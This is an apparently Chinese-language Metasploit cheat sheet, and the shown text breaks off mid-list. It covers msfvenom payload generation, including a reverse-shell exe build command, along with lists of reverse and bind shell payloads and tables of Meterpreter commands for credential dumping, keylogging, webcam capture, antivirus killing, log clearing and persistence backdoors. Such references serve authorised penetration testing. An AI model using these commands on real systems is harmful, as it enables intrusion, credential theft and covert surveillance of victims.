0x01 Msfvenom命令
metasploit v4.11.0-2014122301版本后已弃用msfpayload、msfencode命令,已使用msfvenom命令替代,https://blog.rapid7.com/2014/12/09/good-bye-msfpayload-and-msfencode/。
(1) Generate参数说明
除了msfvenom命令可以生成载荷文件外,还可以进入指定Payload后用Generate命令生成载荷文件。
msf5 > use payload/windows/x64/meterpreter/reverse_tcp
msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -h
Usage: generate [options]
Generates a payload. Datastore options may be supplied after normal options.
Example: generate -f python LHOST=127.0.0.1
OPTIONS:
-E 强制编码
-O <opt> -o参数别名,已弃用
-P <opt> 总期望有效载荷大小,自动生成适当的NOP sled长度
-S <opt> 生成(大型)Windows二进制文件时要使用的新节名
-b <opt> 设定规避字符集,比如: '\x00\x0a\xff'
-e <opt> 指定需要使用的编码器
-f <opt> 指定输出文件格式
-h 帮助选项
-i <opt> 指定Payload的编码次数
-k 保留模板行为并将有效载荷作为新线程注入
-n <opt> 有效载荷上预加一个[length]大小的nosled
-o <opt> 指定输出文件名
-p <opt> 指定Payload系统平台
-x <opt> 指定要用作模板的自定义可执行文件
msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -f exe lhost=192.168.1.120 -o shell.exe
[*] Writing 7168 bytes to shell.exe...
(2) Msfvenom参数说明
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> 列出所有模块:payloads, encoders, nops, encrypt, formats等
-p, --payload <payload> 指定需要使用的payload攻击载荷
--list-options 列出payload标准,高级和规避选项
-f, --format <format> 指定输出文件格式(--list formats获取列表)
-e, --encoder <encoder> 指定需要使用的编码器(--list encoders获取列表)
--sec-name <value> 生成Windows二进制文件时使用的新节名称,默认值:随机4个字符的字符串
--smallest 使用所有可用的编码器生成最小的payload
--encrypt <value> 应用于shellcode的加密或编码类型(--list encrypt获取列表)
--encrypt-key <value> 用于--encrypt的密钥
--encrypt-iv <value> encrypt的初始化向量
-a, --arch <arch> 指定Payload系统架构(--list archs获取列表)
--platform <platform> 指定Payload系统平台(--list platforms获取列表)
-o, --out <path> 保存Payload攻击载荷文件
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\x0a\xff'
-n, --nopsled <length> 在有Payload添加[length]大小的nopsled
--pad-nops 自动预先填充数量(nops减去有效负载长度)
-s, --space <length> 设定Payload的最大长度
--encoder-space <length> 设定编码后的Payload最大字节数(默认s值)
-i, --iterations <count> 指定Payload的编码次数
-c, --add-code <path> 指定要包含的其他win32 shellcode文件
-x, --template <path> 指定要用作模板的自定义可执行文件,只支持32位操作系统
-k, --keep 保留模板行为并将Payload注入新线程
-v, --var-name <value> 指定用于某些输出格式的自定义变量名称
-t, --timeout <second> 从STDIN读取Payload等待的秒数(默认为30,0为禁用)
-h, --help 帮助选项
(3) Msfvenom常用有效载荷
- android/meterpreter/reverse_tcp - java/jsp_shell_bind_tcp - java/jsp_shell_reverse_tcp - java/meterpreter/bind_tcp - java/meterpreter/reverse_tcp - php/meterpreter/bind_tcp - php/meterpreter/reverse_tcp - cmd/unix/reverse_lua - cmd/unix/reverse_bash - cmd/unix/reverse_ruby - cmd/unix/reverse_perl - cmd/unix/reverse_python - nodejs/shell_bind_tcp - nodejs/shell_reverse_tcp - nodejs/shell_reverse_tcp_ssl - python/meterpreter/bind_tcp - python/meterpreter/reverse_tcp - python/meterpreter_bind_tcp - python/meterpreter_reverse_tcp - python/shell_reverse_tcp - ruby/shell_bind_tcp - ruby/shell_reverse_tcp - windows/adduser - windows/powershell_bind_tcp - windows/powershell_reverse_tcp - windows/meterpreter/bind_tcp - windows/meterpreter/bind_tcp_rc4 - windows/meterpreter/reverse_http - windows/meterpreter/reverse_https - windows/meterpreter/reverse_tcp - windows/meterpreter/reverse_tcp_rc4 - windows/meterpreter/reverse_tcp_rc4_dns |
- windows/meterpreter_bind_tcp - windows/meterpreter_reverse_http - windows/meterpreter_reverse_https - windows/meterpreter_reverse_tcp - windows/shell/bind_tcp - windows/shell_hidden_bind_tcp - windows/shell/reverse_tcp - windows/shell/reverse_tcp_rc4 - windows/shell/reverse_tcp_rc4_dns - windows/x64/meterpreter/bind_tcp - windows/x64/meterpreter/bind_tcp_rc4 - windows/x64/meterpreter/reverse_http - windows/x64/meterpreter/reverse_https - windows/x64/meterpreter/reverse_tcp - windows/x64/meterpreter/reverse_tcp_rc4 - windows/x64/meterpreter_bind_tcp - windows/x64/meterpreter_reverse_http - windows/x64/meterpreter_reverse_https - windows/x64/meterpreter_reverse_tcp - windows/x64/powershell_bind_tcp - windows/x64/powershell_reverse_tcp - windows/x64/shell_bind_tcp - windows/x64/shell_reverse_tcp - windows/x64/shell/reverse_tcp_rc4 - linux/x86/meterpreter/bind_tcp - linux/x86/meterpreter/reverse_tcp - linux/x86/shell/bind_tcp - linux/x86/shell/reverse_tcp - linux/x64/meterpreter/bind_tcp - linux/x64/meterpreter/reverse_tcp - linux/x64/shell/bind_tcp - linux/x64/shell/reverse_tcp |
---|---|
(4) Msfvenom常用编码器
root@kali:~# msfvenom --list encoders
php/base64,ruby/base64,cmd/powershell_base64
x86/countdown,x86/alpha_upper,x86/shikata_ga_nai,x86/fnstenv_mov,x64/xor
(5) Msfvenom支持文件格式
- 软件架构/Payload架构/目标系统架构三者必须统一(x86/x86_64/x64),否则可能会出现出错。
- 大写字母代替:[H]arp、[P]erl、Rub[Y]、[R]aw、[J]s、e[X]e、[D]ll、[V]BA、[W]ar、Pytho[N]。 ```bash root@kali:~# msfvenom —list formats Executable formats(可执行格式):asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war
Transform formats(转换格式):bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
<a name="Xw6Ro"></a>
### (6) Advanced高级配置选项
这里笔者只看了exploit/multi/handler和windows/x64/meterpreter/reverse_tcp两个常用模块的高级配置选项,更多模块的高级配置选项可以通过advanced和show advanced命令查看。
```bash
PrependMigrate 是否在新进程中生成并运行shellcode
PrependMigrateProc 生成并运行shellcode的进程名称
AutoRunScript 创建会话时自动运行的脚本
InitialAutoRunScript 创建会话时运行的初始脚本,优先AutoRunScript
EnableStageEncoding 编码第二阶段有效载荷
EnableUnicodeEncoding 自动将UTF-8字符串编码为十六进制
StageEncoder 如果设置了EnableStageEncoding,则需要选择使用的编码器
ExitOnSession 创建会话后从利用漏洞返回
SessionCommunicationTimeout 应该杀死此会话之前无活动的秒数
SessionExpirationTimeout 必须强行关闭此会话之前的秒数
AutoLoadStdapi 自动加载Stdapi扩展
AutoSystemInfo 自动捕获系统信息的初始化
AutoVerifySession 自动验证和删除无效的会话
AutoVerifySessionTimeout 等待会话验证发生的超时时间(以秒为单位)
AutoUnhookProcess 自动加载Unhook扩展和Unhook进程
PayloadProcessCommandLine 有效负载将使用的显示命令行
PayloadUUIDName 一个人性化的名称来引用这个唯一的有效负载(需要跟踪)
PayloadUUIDRaw 表示UUID的原始8字节PUID值的十六进制字符串
PayloadUUIDSeed 生成有效负载UUID时使用的字符串(确定性)
PayloadUUIDTracking 是否自动注册生成的uuid
PingbackRetries 还有多少其他成功的pingbacks
PingbackSleep 两次ping之间的睡眠时间(以秒为单位)
ReverseAllowProxy 即使指定了代理,也允许反向tcp。回连时不会通过代理,而是直接连接到LHOST
ReverseListenerBindAddress 本地系统上要绑定到的特定IP地址
ReverseListenerBindPort 本地系统上要绑定到的端口(如果与LPORT不同)
ReverseListenerComm 用于此侦听器的特定通信通道
ReverseListenerThreaded 在新线程中处理每个连接
SessionRetryTotal 因网络故障而尝试重新连接的秒数
SessionRetryWait 两次重新连接尝试之间等待的秒数
StageEncoderSaveRegisters 如果设置了EnableStageEncoding,则在阶段有效负载中保留其他寄存器
StagerRetryCount 如果第一次连接失败,stager应该重试的次数
StagerRetryWait 在尝试重新连接之间等待stager的秒数
StagerVerifySSLCert 是否在Meterpreter中验证HTTPS SSL证书
StageEncodingFallback 如果所选stage编码器不兼容,退回到无编码状态
VERBOSE 启用详细状态消息
WORKSPACE 指定此模块的工作空间
ContextInformationFile 包含上下文信息的信息文件
DisablePayloadHandler 禁用所选负载的处理程序代码
EnableContextEncoding 编码有效负载时使用临时上下文
ListenerTimeout 等待新会话的最大秒数
WfsDelay 等待会话时的其他延迟
HandlerSSLCert 统一PEM格式的SSL证书的路径,对于HTTP传输忽略
0x02 Msfconsole命令
root@kali:~# msfconsole -h
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
Usage: msfconsole [options]
Common options(常用选项):
-E, --environment ENVIRONMENT 设置Rails环境,默认为RAIL_ENV环境变量或'production'
Database options(数据库选项):
-M, --migration-path DIRECTORY 指定包含其他数据库迁移的目录
-n, --no-database 禁用数据库支持
-y, --yaml PATH 指定包含数据库设置的YAML文件
Framework options(框架选项):
-c FILE 加载指定的配置文件
-v, -V, --version 显示版本
Module options(模块选项):
--defer-module-loads 除非明确要求,否则延迟模块加载。
-m, --module-path DIRECTORY 加载另一个模块路径
Console options(控制台选项):
-a, --ask 在退出Metasploit之前询问或接受“ exit -y”
-H, --history-file FILE 将命令历史记录保存到指定文件
-L, --real-readline 使用系统Readline库而不是RbReadline
-o, --output FILE 输出到指定文件
-p, --plugin PLUGIN 在启动时加载插件
-q, --quiet 启动时不打印Banner
-r, --resource FILE 执行指定的资源文件
-x, --execute-command COMMAND 执行指定的控制台命令 (多条命令时用;分隔)
-h, --help 帮助
0x03 Metasploit5命令
(1) 数据库管理命令(Database Manage Command)
命 令 | 说 明 |
---|---|
msfdb init msfdb reinit msfdb delete msfdb run msfdb start msfdb stop msfdb status |
启动并初始化数据库 删除并重新初始化数据库 停止使用数据库并且删除 启动数据库并运行msfconsole 启动数据库 停止数据库 检查服务状态 |
(2) 核心命令(Core Commands)
命 令 | 说 明 |
---|---|
? banner cd color connect exit get getg grep help history load quit repeat route save sessions set setg sleep spool threads unload unset unsetg version |
帮助菜单 显示Metasploit旗标信息 更改当前工作目录 切换颜色 与主机通信 退出控制台 获取特定变量的值 获取全局变量的值 搜索另一个命令的输出 帮助菜单 显示命令历史记录 加载框架插件 退出控制台 重复一个命令列表 通过会话路由流量 保存活动数据存储 显示会话列表和信息 设置一个变量的值 设置一个全局变量的值 在指定的秒数内不执行任何操作 将控制台输出写入文件以及屏幕 查看和操作后台线程 卸载框架插件 取消设置的一个或多个变量 取消设置一个或多个全局变量 显示框架和控制台库版本号 |
(3) 模块命令(Module Commands)
命 令 | 说 明 |
---|---|
advanced back info loadpath options popm previous pushm reload_all search show use |
显示一个或多个模块的高级选项 从当前环境返回 显示一个或多个模块的详细信息 从路径中搜索并加载模块 显示全局选项或一个或多个模块 使其主动从堆栈弹出新的模块 将先前加载的模块设置为当前模块 将活动模块或模块列表推送到模块堆栈 重新加载所有模块 搜索模块名称和描述 显示给定类型的的模块或所有模块 按名称选择模块 |
(4) 作业、脚本命令(Job、Script Commands)
命 令 | 说 明 |
---|---|
makerc resource handler jobs kill rename_job |
保存从开始时输入的命令到一个文件 运行存储在一个文件中的命令 将有效载荷处理程序作为作业启动 显示和管理作业 结束一个作业 重命名作业 |
(5) 后端数据库命令(Database Backend Commands)
命 令 | 说 明 |
---|---|
analyze db_connect db_disconnect db_export db_import db_nmap db_rebuild_cache db_remove db_save db_status creds hosts loot notes services vulns workspace |
分析有关特定地址或地址范围的数据库信息 连接到现有数据服务 断开与当前数据服务的连接 导出包含数据库内容的文件 导入扫描结果文件(将自动检测文件类型) 执行nmap并自动记录输出 重建数据库存储的模块高速缓存 删除已保存的数据服务条目 将当前数据服务连接保存为启动时重新连接的默认值 显示当前数据库服务状态 列出数据库中的所有凭证 列出数据库中的所有主机 列出所有数据库中的战利品 列出数据库中的所有记录 列出数据库中的所有服务 列出数据库中的所有漏洞 在数据库工作区之间切换 |
(6) 开发、利用命令(Developer、Exploit Commands)
命 令 | 说 明 |
---|---|
edit irb log pry reload_lib check exploit rcheck recheck reload rerun rexploit run |
使用首选编辑器编辑当前模块或文件 打开交互式Ruby shell 显示framework.log日志分页到最后 在当前模块或框架上打开Pry调试器 从指定路径重新加载Ruby库文件 检查目标是否容易受到攻击 启动漏洞利用尝试 重新加载模块并检查目标是否易受攻击 重新检查rcheck的别名 重新加载指定模块 重新运行rexploit的别名 重新加载模块并启动漏洞利用尝试 运行别名以进行利用 |
0x04 Meterpreter命令
(1) 核心命令(Core Commands)
命 令 | 说 明 |
---|---|
? background bg bgkill bglist bgrun channel close disable_unicode_encoding enable_unicode_encoding exit get_timeouts guid help info irb load machine_id migrate pivot pry quit read resource run sessions set_timeouts sleep transport use uuid write |
帮助菜单 当前会话后台模式 当前会话后台模式 结束一个后台Meterpreter脚本 列出后台运行Meterpreter脚本 作为一个后台运行Meterpreter脚本 显示有关活动通道的信息 关闭通道 禁用Unicode字符串编码 启用Unicode字符串编码 终止Meterpreter会话 获取当前会话超时值 获取会话GUID 帮助菜单 显示指定Post模块的信息 在当前会话中打开交互式Ruby shell 加载一个或多个Meterpreter扩展 获取会话计算机的Machine ID 移动到一个指定的PID活动进程 管理数据透视侦听器 在当前会话中打开Pry调试器 终止Meterpreter会话 从通道读取数据 运行存储在文件中的命令 执行Meterpreter脚本或Post模块 快速切换到另一个会话 设置当前会话超时值 设置目标会话睡眠时间 更改当前的传输机制 不推荐使用的别名“load” 获取当前会话的UUID 将数据写入通道 |
(2) 文件系统命令(Stdapi: File System Commands)
命 令 | 说 明 |
---|---|
cat cd checksum cp dir download edit getlwd getwd lcd lls lpwd ls mkdir mv pwd rm rmdir search show_mount upload |
查看文件内容 更改目录 检索文件的MD5、SHA1 复制文件或目录到目的地 列出目标文件列表(ls的别名) 下载文件或目录 编辑文件 显示本地工作目录 显示目标工作目录 更改本地工作目录 列出本地文件列表 显示本地工作目录 列出目标文件列表 创建目录 移动文件或目录 显示目标工作目录 删除指定文件 删除指定目录 搜索文件 列出所有挂载点/逻辑驱动器 上传文件或目录 |
(3) 网络、系统命令(Stdapi: Networking、System Commands)
命 令 | 说 明 |
---|---|
arp getproxy ifconfig/ipconfig netstat portfwd resolve route clearev drop_token execute getenv getpid getprivs getsid getuid kill localtime pgrep pkill ps reboot reg rev2self shell shutdown steal_token suspend sysinfo |
显示主机ARP缓存 显示当前代理配置 显示网络接口信息 显示网络连接信息 将本地端口转发到远程服务 解析目标上的一组主机名 查看和修改路由表 清除事件日志 放弃任何活动模拟令牌 执行命令 获取一个或多个环境变量值 获取当前进程标识符 尝试启用当前进程可用的所有特权 获取运行服务器的用户的SID 获取当前会话权限 终止进程 显示目标系统的本地日期和时间 按名称过滤进程 按名称终止进程 列出正在运行的进程 重新启动远程计算机 修改远程注册表并进行交互 调用RevertToSelf()恢复原始令牌权限 进入系统命令shell 关闭远程计算机 尝试从目标进程中窃取模拟令牌 暂停或恢复进程列表 获取远程系统的有关信息,例如OS |
(4) 用户界面、音频、摄像头命令(Stdapi: User interface、Webcam Commands)
命 令 | 说 明 |
---|---|
enumdesktops getdesktop idletime keyscan_dump keyscan_start keyscan_stop screenshot setdesktop uictl play record_mic webcam_chat webcam_list webcam_snap webcam_stream |
枚举所有可访问桌面 获取当前的Meterpreter桌面 返回远程用户空闲的秒数 存储目标主机上捕获的键盘记录 启动键盘记录 停止键盘记录 获取目标桌面屏幕截图 更改当前Meterpreters桌面 控制一些用户界面组件(键盘和鼠标) 请指定音频文件的路径 从默认麦克风录制音频为X秒 开始视频聊天 列出网络摄像头 从指定的网络摄像头拍摄快照 播放指定网络摄像头的视频流 |
(5) 提权、属性、密码命令(Priv: Elevate、Timestomp、Password Commands)
命 令 | 说 明 |
---|---|
getsystem timestomp hashdump |
尝试将您的权限提升为本地系统的权限 操作文件时间属性(修改、访问、创建) 获取目标NTLM-HASH哈希值 |
0x05 Meterpreter扩展
扩展包括:espia、incognito、lanattacks、peinjector、python、unhook、extapi、kiwi、mimikatz、powershell、sniffer、winpmem。
(1) Espia、Winpmem、Peinjector、Unhook、Sniffer Commands
命 令 | 说 明 |
---|---|
screengrab dump_ram injectpe unhook_pe sniffer_dump sniffer_interfaces sniffer_release sniffer_start sniffer_stats sniffer_stop |
尝试从活动进程获取本地桌面屏幕截图 转储受害者RAM 将shellcode注入指定的可执行文件 取消当前进程 将捕获的数据包数据保存到PCAP文件 枚举所有可嗅探的网络接口 在特定接口上释放捕获的数据包 在特定接口上启动数据包捕获 查看活动捕获的统计信息 在特定接口上停止数据包捕获 |
(2) Lanattacks: DHCP、TFTP Commands
命 令 | 说 明 |
---|---|
dhcp_load_options dhcp_log dhcp_reset dhcp_set_option dhcp_start dhcp_stop tftp_add_file tftp_reset tftp_start tftp_stop |
从数据存储区加载DHCP选项 记录DHCP服务器活动 重置DHCP服务器 设置DHCP服务器选项 启动DHCP服务器 停止DHCP服务器 将文件添加到TFTP服务器 重置TFTP服务器 启动TFTP服务器 停止TFTP服务器 |
(3) Python、Powershell Commands
命 令 | 说 明 |
---|---|
python_execute python_import python_reset powershell_execute powershell_import powershell_shell |
执行python命令字符串 导入/运行python文件或模块 重置/重新启动Python解释器 执行Powershell命令字符串 导入PS1脚本或.NET程序集DLL 创建交互式Powershell命令行 |
(4) Incognito、Mimikatz、Kiwi Commands
命 令 | 说 明 |
---|---|
add_group_user add_localgroup_user add_user impersonate_token list_tokens snarf_hashes kerberos livessp mimikatz_command msv ssp tspkg wdigest creds_all creds_kerberos creds_msv creds_ssp creds_tspkg creds_wdigest dcsync dcsync_ntlm golden_ticket_create kerberos_ticket_list kerberos_ticket_purge kerberos_ticket_use kiwi_cmd lsa_dump_sam lsa_dump_secrets password_change wifi_list wifi_list_shared |
将用户添加到远程主机上的全局组 将用户添加到远程主机上的本地组 将用户添加到远程主机 模拟指定用户或组的令牌 列出所有可用的用户和组的令牌 每个令牌的Snarf challenge/response哈希值 尝试检索kerberos creds 尝试检索livessp creds 运行自定义命令 尝试检索msv creds 尝试检索ssp creds 尝试检索tspkg creds 尝试检索wdigest creds 检索所有凭据(已解析) 检索Kerberos creds(解析) 检索LM/NTLM creds(解析) 检索SSP creds 检索TsPkg creds(解析) 检索WDigest creds(解析) 通过DCSync检索用户帐户信息(未解析) 通过DCSync检索用户帐户NTLM哈希,SID和RID 创建一张kerberos黄金票据 列出所有kerberos票据 清除任何正在使用的kerberos票据 使用kerberos票据 执行一个任意的mimikatz命令(未解析) 转储LSA SAM(未解析) 转储LSA秘密(未解析) 更改用户的密码/哈希值 列出当前用户的wifi配置文件/凭据 列出共享的wifi配置文件/凭据 |
(5) Extapi:Window、Service、Clipboard、ADSI、WMI Management Commands
命 令 | 说 明 |
---|---|
window_enum service_control service_enum service_query clipboard_get_data clipboard_monitor_dump clipboard_monitor_pause clipboard_monitor_purge clipboard_monitor_resume clipboard_monitor_start clipboard_monitor_stop clipboard_set_text adsi_computer_enum adsi_dc_enum adsi_domain_query adsi_group_enum adsi_nested_group_user_enum adsi_user_enum wmi_query |
枚举当前打开的所有窗口 控制单个服务(启动/暂停/恢复/停止/重启) 枚举已注册的所有Windows服务 查询特定Windows服务的更多详细信息 读取目标的当前剪贴板(文本,文件,图像) 转储所有捕获的剪贴板内容 暂停活动剪贴板监视器 删除所有捕获的剪贴板内容而不转储它 恢复暂停的剪贴板监视器 启动剪贴板监视器 停止剪贴板监视器 将文本写入目标的剪贴板 枚举指定域中的所有计算机 枚举指定域上的所有域控制器 枚举指定域中与筛选器匹配的所有对象 枚举指定域上的所有组 递归枚举实际上是指定组成员的用户 枚举指定域中的所有用户 执行通用WMI查询并返回结果 |
0x06 Meterpreter脚本
Metasploit5版本中有部分Meterpreter脚本和Post下的一些模块都已经不再支持继续使用了,有的甚至已被删除,如:enum_chrome、enum_shares脚本和enum_firefox模块等,至于还有多少已弃用的脚本模块我也不知道。笔者在这里只针对常用脚本模块做了简单说明,具体脚本模块的使用方法请通过“-h”参数查询,由于笔者个人精力有限,就不去进行详细测试了!!!
(1) 单独脚本命令(26)
命令:run credcollect 描述:用于搜集目标机器上找到的凭据(NTLM-Hash、Tokens)。 命令:run domain_list_gen 描述:用于获取域管理账户列表,并判断当前Session所在用户是否在列表中。 命令:run dumplinks 描述:用于获取用户最近文档以及Microsoft Office最近文档的所有“.lnk”快捷方式文件。 命令:run enum_vmware 描述:用于获取VMware产品的配置文件。 命令:run event_manager 描述:用于查询或删除事件查看器中的“应用程序”、“安全”、“系统”等系统日志。 命令:run get_pidgin_creds 描述:用于获取Pidgin配置文件中的用户名和密码。 命令:run gettelnet 描述:用于检测和开启目标机器的Telnet服务,必须装有“Telnet”服务,进程名:tlntsvr.exe,服务名:TlntSvr。 命令:run multi_console_command 描述:用于执行多条或文件中的多行Meterpreter命令。 命令:run multi_meter_inject 描述:用于注入多个Reverce TCP Meterpreter有效负载,主要参数:-I ,-P,-p。 命令:run multicommand 描述:用于执行多条或文件中的多行DOS命令。 命令:run multiscript 描述:用于执行多个或文件中的多行Meterpreter脚本。 命令:run netenum 描述:用于执行DNS MX和NS记录查找或Ping扫描。 命令:run panda_2007_pavsrv51 描述:Panda Antivirus 2007特权升级。 命令:run powerdump 描述:用于提取目标机器的用户名和密码哈希值。 命令:run process_memdump 描述:用于创建指定进程名或PID值的.dmp转储文件,方便进行调试分析。 命令:run scheduleme 描述:基于schtasks计划任务启动后门,提示“无法创建计划任务”,实则成功(SYSTEM)。360安全卫士进程防护功能会对此操作进行拦截。(任务计划程序:taskschd.msc,命令行程序:schtasks) - 创建一个计划任务:run scheduleme -H 11 -m 1 -c “c:\\PuTTY.exe” - -H:触发时间,-m:重复触发间隔时间,-c:执行的命令 命令:run schtasksabuse 描述:基于schtasks计划任务启动后门,不需要SYSTEM权限,但很容易被反病毒发现并拦截。 命令:run scraper 用于:用于搜集目标机器的系统信息,包括网络共享,注册表配置单元和密码哈希。 命令:run service_manager 描述:用于管理Windows服务,可以查询、创建、删除、停止、启动服务,以及更改启动类型。 命令:run sound_recorder 描述:用于捕获目标机器的麦克风声音录制间隔,与record_mic命令功能是一样的。 命令:run srt_webdrive_priv 描述:CVE-2009-4606 WebDrive特权提升漏洞。 命令:run virtualbox_sysenter_dos 描述:DOS虚拟框的脚本。 命令:run virusscan_bypass 描述:用于绕过Mcafee VirusScan Enterprise v8.7.0i +,上传可执行文件到TEMP文件夹,然后添加它到排除列表中,并将其设置为在启动时运行。(需要管理员权限) 命令:run vnc 描述:用于快速获得VNC会话的脚本。 命令:run winbf 描述:用于检测当前目标机器的密码策略以及RDP暴力破解(不是很好用)。 命令:run winenum 描述:用于搜集目标机器系统信息,包括:Windows UAC、NTLM-Hash、Tokens、服务、进程、端口、用户等。 |
---|
(2) 有替代模块的脚本(38)
命令:run get_local_subnets、run autoroute 模块:post/multi/manage/autoroute 描述:用于获取目标本地子网列表并添加到虚拟路由表。 - 添加路由表:Run autoroute -s 192.168.0.0/255.255.255.0。 命令:run checkvm 模块:post/windows/gather/checkvm 描述:用于检测目标机器是否为虚拟机,支持Hyper-V、VMWare、Virtual PC、VirtualBox、Xen、QEMU。 命令:run duplicate 模块:post/windows/manage/multi_meterpreter_inject 描述:用于再次执行Payload,注入到其他进程或打开新进程并注入其中。 命令:run arp_scanner 模块:post/windows/gather/arp_scanner 描述:用于ARP存活主机扫描,用Post模块可以设置线程,run arp_scanner -r 192.168.0.0/24。 命令:run enum_chrome 模块:post/windows/gather/enum_chrome 描述:用于获取Google Chrome用户凭证,此脚本不支持此版本的Meterpreter。 命令:run enum_firefox 模块:post/windows/gather/enum_firefox 描述:用于获取Firefox用户凭证,enum_firefox模块已被删除。 命令:run enum_logged_on_users 模块:post/windows/gather/enum_logged_on_users 描述:用于获取目标机器当前登录和最近登录的用户名,run enum_logged_on_users -c -l。 命令:run enum_powershell_env 模块:post/windows/gather/enum_powershell_env 描述:用于获取PowerShell和WSH配置。 命令:run enum_putty 模块:post/windows/gather/enum_putty_saved_sessions 描述:用于获取putty保存的会话信息,包括用户名、私钥文件、主机名等。 命令:run enum_shares 模块:post/windows/gather/enum_shares 描述:用于获取已配置和最近使用的文件共享,此脚本不支持此版本的Meterpreter。 命令:run search_dwld、run file_collector 模块:post/windows/gather/enum_files 描述:用于搜索符合指定的文件并且可以进行下载,适用于搜索敏感文件,如web.config、config.php等。 - 搜索文件:run file_collector -d “C:\\Users\\“ -r -f “config.“ -o /root/config.txt - 下载文件:run file_collector -i /root/config.txt -l /tmp/download/ 命令:run get_application_list 模块:post/windows/gather/enum_applications 描述:用于获取目标机器已安装程序及其版本列表(建议用enum_applications模块,比较完整一些!)。 命令:run get_env 模块:post/multi/gather/env 描述:用于获取目标机器系统和用户环境变量(类似于set命令)。 命令:run get_filezilla_creds 模块:post/windows/gather/credentials/filezilla_server 描述:用于获取目标机器的FileZilla Server安装路径、配置文件以及FTP用户凭证、磁盘权限等配置信息。 命令:run get_valid_community 模块:post/windows/gather/enum_snmp 描述:用于枚举SNMP服务配置。 命令:run killav、run getcountermeasure 模块:post/windows/manage/killav 描述:用于检测DEP(数据执行保护)配置和Windows防火墙规则,尝试查找和终止防病毒、基于主机的HIPS和第三方防火墙相关进程,禁用内置防火墙。 命令:run getgui 模块:post/windows/manage/enable_rdp 描述:用于启用目标机器的3389端口、添加用户和端口转发。 命令:run getvncpw 模块:post/windows/gather/credentials/vnc 描述:用于在已知的VNC位置提取DES加密密码。 命令:run hashdump 模块:post/windows/gather/smart_hashdump 描述:用于获取目标本地账户或域账户的哈希值(取决于我们当前的权限),smart_hashdump模块必须SYSTEM权限。 命令:run hostsedit 模块:post/windows/manage/inject_host 描述:用于在hosts文件中新增一条解析记录,也可以用edit命令进行编辑(最好先备份一下!) - 新增一条记录:run hostsedit -e 127.0.0.1,google.com 命令:run keylogrecorder 模块:post/windows/capture/keylog_recorder 描述:用于启动记录键盘器并保存所有击键,供以后分析,要停止捕获,请按Ctrl-C。 命令:run persistence、run metsvc 模块:post/windows/manage/persistence_exe 描述:基于启动项启动的后门(persistence),基于系统服务启动的后门(metsvc),在执行过程中会上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件,然后安装并启动metsvc服务,显示名称:Meterpreter,服务名称:metsvc,进程名称:metsvc.exe。-r参数卸载metsvc服务,但必须手动删除刚刚上传的三个文件,对应有效载荷为:windows/metsvc_bind_tcp。 命令:run migrate 模块:post/windows/manage/migrate 描述:用于将当前会话进程迁移到另一个正在运行的进程当中,此脚本与migrate命令功能是一样的。 命令:run packetrecorder 模块:post/windows/manage/rpcapd_start 描述:用于查看目标机器的所有网络流量,并且进行数据包记录,保存到cap文件中供以后分析。 命令:run pml_driver_config 模块:exploit/windows/local/service_permissions 描述:用于攻击目标机器中易受攻击的文件、服务、注册表,可以用来提升提权。 命令:run prefetchtool 模块:post/windows/gather/enum_prefetch 描述:用于从WinXP,Win2k3和Win7系统中收集预读文件信息和当前值。 命令:run wmic、run remotewinenum 模块:post/windows/gather/wmic_command 描述:wmic脚本用于执行一条或文件中多行WMIC命令,remotewinenum脚本用于执行WMIC命令来搜集远程主机系统信息,需要提供管理员账户、密码,可用于内网其它主机的信息搜集。 命令:run schelevator 模块:exploit/windows/local/ms10_092_schelevator 描述:CVE-2010-3338 Windows2008-7-Vista计划任务程序2.0的漏洞可能允许特权提升。 命令:run screen_unlock 模块:post/windows/escalate/screen_unlock 描述:用于对目标机器上的桌面进行解锁,需要系统权限运行。 命令:run screenspy 模块:post/windows/gather/screen_spy 描述:将会打开一个交互式视图的远程主机,您将需要在您的机器上安装的火狐浏览器。 命令:run service_permissions_escalate 模块:exploits/windows/local/service_permissions 描述:这个脚本会尝试创建一个服务,然后在现有的服务列表中寻找不安全的文件或权限配置有问题的文件,用一个Payload替换掉这个可执行文件。然后会尝试重启服务来运行这个Paylaod,如果重启服务失败,则在下次服务器重启时执行Payload获取系统最高权限(SYSTEM)。 命令:run uploadexec 模块:post/windows/manage/download_exec 描述:用于往目标机器上传脚本或可执行文件并运行它。 - 上传并执行文件:run uploadexec -e D:\80.exe -p c:\1.exe -r -V。 命令:run webcam 模块:post/windows/manage/webcam *描述:用于启用目标主机网络摄像头捕获图像。 |
---|
(3) 其它可加载Post模块(已测110)
命令:run post/windows/gather/enum_ad_computers 描述:枚举默认AD目录中的计算机 命令:run post/windows/gather/enum_ad_groups 描述:枚举指定域上的AD组 命令:run post/windows/gather/enum_ad_service_principal_names 描述:枚举默认AD目录中的服务主体名称 命令:run post/windows/gather/enum_ad_user_comments 描述:枚举默认Active Domain目录中的用户帐户 命令:run post/windows/gather/enum_ad_users 描述:枚举默认Active Domain目录中的用户帐户并将其存储在数据库中 命令:run post/windows/gather/enum_av_excluded 描述:枚举Windows Defender排除的进程、文件类型、文件和位置 命令:run post/windows/gather/enum_computers 描述:/枚举主域中包含的计算机 命令:run post/windows/gather/enum_db 描述:枚举Windows系统已安装的数据库 命令:run post/windows/gather/enum_devices 描述:枚举的Windows硬件设备信息 命令:run post/windows/gather/enum_dirperms 描述:枚举目录并列出设置的权限 命令:run post/windows/gather/enum_domain 描述:枚举域以及该域的域控制器 命令:run post/windows/gather/enum_domain_group_users 描述:枚举域管理员帐户 命令:run post/windows/gather/enum_domains 描述:枚举主机可以看到的域和该域的域控制器 命令:run post/windows/gather/enum_emet 描述:枚举目标上的EMET保护路径 命令:run post/windows/gather/enum_hostfile 描述:枚举目标上的hosts主机条目列表 命令:run 